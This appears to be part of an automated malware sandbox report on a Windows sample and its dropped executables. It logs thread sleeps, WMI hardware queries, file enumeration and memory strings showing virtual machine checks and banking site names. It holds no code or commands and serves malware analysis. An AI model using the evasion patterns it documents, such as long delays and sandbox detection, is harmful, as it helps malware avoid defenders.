Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 2716	Thread sleep count: 8791 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 2716	Thread sleep time: -17590791s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 2804	Thread sleep count: 197 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 2804	Thread sleep time: -394197s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 6540	Thread sleep count: 200 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 6540	Thread sleep time: -400200s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 6200	Thread sleep count: 131 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe TID: 6200	Thread sleep time: -262131s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -25825441703193356s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 5004	Thread sleep count: 9681 > 30
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59876s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59756s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59618s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59510s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59403s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59294s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59191s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59056s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58947s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58842s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58719s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58579s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58449s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58340s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 5304	Thread sleep time: -382000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59728s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59483s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59344s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59218s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59055s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58847s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58704s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 5304	Thread sleep time: -424000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59889s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59779s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59670s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59561s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59430s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59318s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59197s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59080s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58949s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58840s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58733s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 5304	Thread sleep time: -401000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59891s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59781s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59663s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59551s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59428s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59307s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59183s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59076s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58954s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58843s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58709s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 5304	Thread sleep time: -443000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59875s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59762s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59640s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59531s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59409s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59276s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59151s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59034s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58897s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58785s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58648s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 5304	Thread sleep time: -396000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59890s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59657s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59519s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59394s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59243s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59123s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -59014s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58903s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58793s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 6552	Thread sleep time: -58685s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 5304	Thread sleep time: -428000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 2276	Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 5864	Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 2200	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 412	Thread sleep time: -82041s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 2436	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 7120	Thread sleep time: -82041s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 1712	Thread sleep time: -74037s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4480	Thread sleep count: 5956 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4480	Thread sleep count: 3869 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6300	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 1788	Thread sleep count: 1228 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 1788	Thread sleep time: -2457228s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 3472	Thread sleep count: 1155 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 3472	Thread sleep time: -2311155s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 2148	Thread sleep count: 1187 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 2148	Thread sleep time: -2375187s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 2568	Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 1496	Thread sleep count: 1249 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 1496	Thread sleep time: -2499249s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 2940	Thread sleep count: 1207 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 2940	Thread sleep time: -2415207s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 2364	Thread sleep count: 1141 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 2364	Thread sleep time: -2283141s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 2140	Thread sleep count: 1212 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 2140	Thread sleep time: -2425212s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1520	Thread sleep count: 7322 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1816	Thread sleep count: 2292 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5028	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe TID: 6464	Thread sleep count: 75 > 30
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe TID: 6464	Thread sleep count: 72 > 30
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 6536	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 7064	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 1900	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 6788	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe TID: 1556	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2372	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7560	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7560	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7564	Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7572	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7440	Thread sleep count: 339 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7440	Thread sleep time: -2034000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7576	Thread sleep count: 32 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7576	Thread sleep time: -64032s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7580	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7552	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe TID: 7552	Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe TID: 3252	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe TID: 7148	Thread sleep count: 693 > 30
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe TID: 7148	Thread sleep count: 179 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809

Source: C:\Windows\System32\regsvr32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\regsvr32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0041DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	23_2_0041DBBE
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003EC2A2 FindFirstFileExW,	23_2_003EC2A2
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_004268EE FindFirstFileW,FindClose,	23_2_004268EE
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0042698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	23_2_0042698F
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0041D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	23_2_0041D076
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0041D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	23_2_0041D3A9
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00429642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	23_2_00429642
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0042979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	23_2_0042979D
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00429B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	23_2_00429B2B
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00425C97 FindFirstFileW,FindNextFileW,FindClose,	23_2_00425C97

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe

Code function: 23_2_003B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

23_2_003B42DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 60000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59876
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59756
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59618
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59510
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59403
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59294
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59191
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59056
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58947
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58842
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58719
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58579
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58449
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58340
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 382000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59728
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59483
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59344
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59218
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59055
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58847
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58704
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 424000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59889
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59779
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59670
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59561
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59430
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59318
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59197
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59080
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58949
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58840
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58733
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 401000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59891
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59781
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59663
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59551
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59428
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59307
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59183
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59076
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58954
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58843
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58709
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 443000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59875
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59762
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59640
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59531
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59409
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59276
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59151
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59034
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58897
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58785
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58648
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 396000
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59890
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59657
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59519
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59394
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59243
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59123
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 59014
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58903
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58793
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 58685
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 428000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: regsvr32.exe, 00000010.00000003.2976303932.000000000391C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
Source: regsvr32.exe, 00000010.00000003.2956109566.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2952831223.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2955960590.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2955541476.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2955030245.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2953772901.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2954212060.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2955218480.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2955691165.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2954731882.0000000002CDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor?
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: regsvr32.exe, 00000010.00000003.2980173881.0000000003C18000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2984580217.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V yhecjqevqcnouer Bus Pipes
Source: 41266a11cd.exe, 00000018.00000003.3337713467.0000000005984000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 41266a11cd.exe, 00000018.00000003.3337713467.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: ce23dfc9e9.exe, regsvr32.exe, 00000010.00000003.2979263024.0000000002E09000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2976303932.0000000003907000.00000004.00000020.00020000.00000000.sdmp, 41266a11cd.exe, 00000011.00000003.3374804364.0000000000A78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
